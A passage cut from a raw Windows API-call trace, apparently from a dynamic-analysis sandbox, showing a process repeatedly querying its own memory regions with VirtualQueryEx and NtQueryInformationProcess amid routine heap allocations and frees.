HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.785] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef99f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef99f0000, AllocationBase=0x7fef99f0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.785] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.785] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.785] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.785] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef99e0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef99e0000, AllocationBase=0x7fef99e0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.785] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.785] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.785] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.785] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef99d0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef99d0000, AllocationBase=0x7fef99d0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.785] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.785] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.785] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.785] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef99c0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef99c0000, AllocationBase=0x7fef99c0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.785] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.785] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.785] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.785] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef99b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef99b0000, AllocationBase=0x7fef99b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.785] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.785] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.785] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.785] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9910000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9910000, AllocationBase=0x7fef9910000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.785] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.785] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.785] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.786] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9900000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9900000, AllocationBase=0x7fef9900000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.786] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.786] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.786] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.786] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef98f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef98f0000, AllocationBase=0x7fef98f0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x5000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.786] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.786] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.786] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.786] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef98e0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef98e0000, AllocationBase=0x7fef98e0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x5000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.786] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.786] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.786] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.786] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef98d0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef98d0000, AllocationBase=0x7fef98d0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.786] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.786] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.786] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.786] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef98c0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef98c0000, AllocationBase=0x7fef98c0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.786] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.786] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.786] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.786] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef98b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef98b0000, AllocationBase=0x7fef98b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.786] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.786] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.786] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.786] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef98a0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef98a0000, AllocationBase=0x7fef98a0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.786] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.786] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.786] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.786] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9580000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9580000, AllocationBase=0x7fef9580000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.786] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.786] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.786] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.786] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef8ad0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef8ad0000, AllocationBase=0x7fef8ad0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x882000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.787] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.787] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.787] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.787] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef8a90000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef8a90000, AllocationBase=0x7fef8a90000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.787] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.787] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.787] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.788] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef8a10000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef8a10000, AllocationBase=0x7fef8a10000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.788] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.788] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.788] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.788] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef8a00000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef8a00000, AllocationBase=0x7fef8a00000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.788] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.788] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.788] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.788] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef89f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef89f0000, AllocationBase=0x7fef89f0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.788] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.788] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.788] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.788] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef88f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef88f0000, AllocationBase=0x7fef88f0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.788] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.788] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.788] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.788] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefcea0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefcea0000, AllocationBase=0x7fefcea0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.788] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.788] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.788] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.788] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef88e0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef88e0000, AllocationBase=0x7fef88e0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.788] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.788] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.789] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.789] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefc9a0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefc9a0000, AllocationBase=0x7fefc9a0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.789] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.789] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.789] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.789] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefc6a0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefc6a0000, AllocationBase=0x7fefc6a0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.789] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.789] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.789] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.789] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd090000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd090000, AllocationBase=0x7fefd090000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.789] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.789] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.789] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.789] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb2d0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb2d0000, AllocationBase=0x7fefb2d0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.789] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.789] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.789] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.789] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefcab0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefcab0000, AllocationBase=0x7fefcab0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.789] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.789] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.789] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.789] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb2f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb2f0000, AllocationBase=0x7fefb2f0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.789] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.789] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.790] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.790] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb650000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb650000, AllocationBase=0x7fefb650000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.790] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.790] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.790] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.790] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb640000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb640000, AllocationBase=0x7fefb640000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.790] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.790] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.790] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.790] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb5f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb5f0000, AllocationBase=0x7fefb5f0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.790] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.790] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.790] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.790] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef84c0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef84c0000, AllocationBase=0x7fef84c0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.790] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.790] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.790] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.790] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefac80000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefac80000, AllocationBase=0x7fefac80000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.790] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: 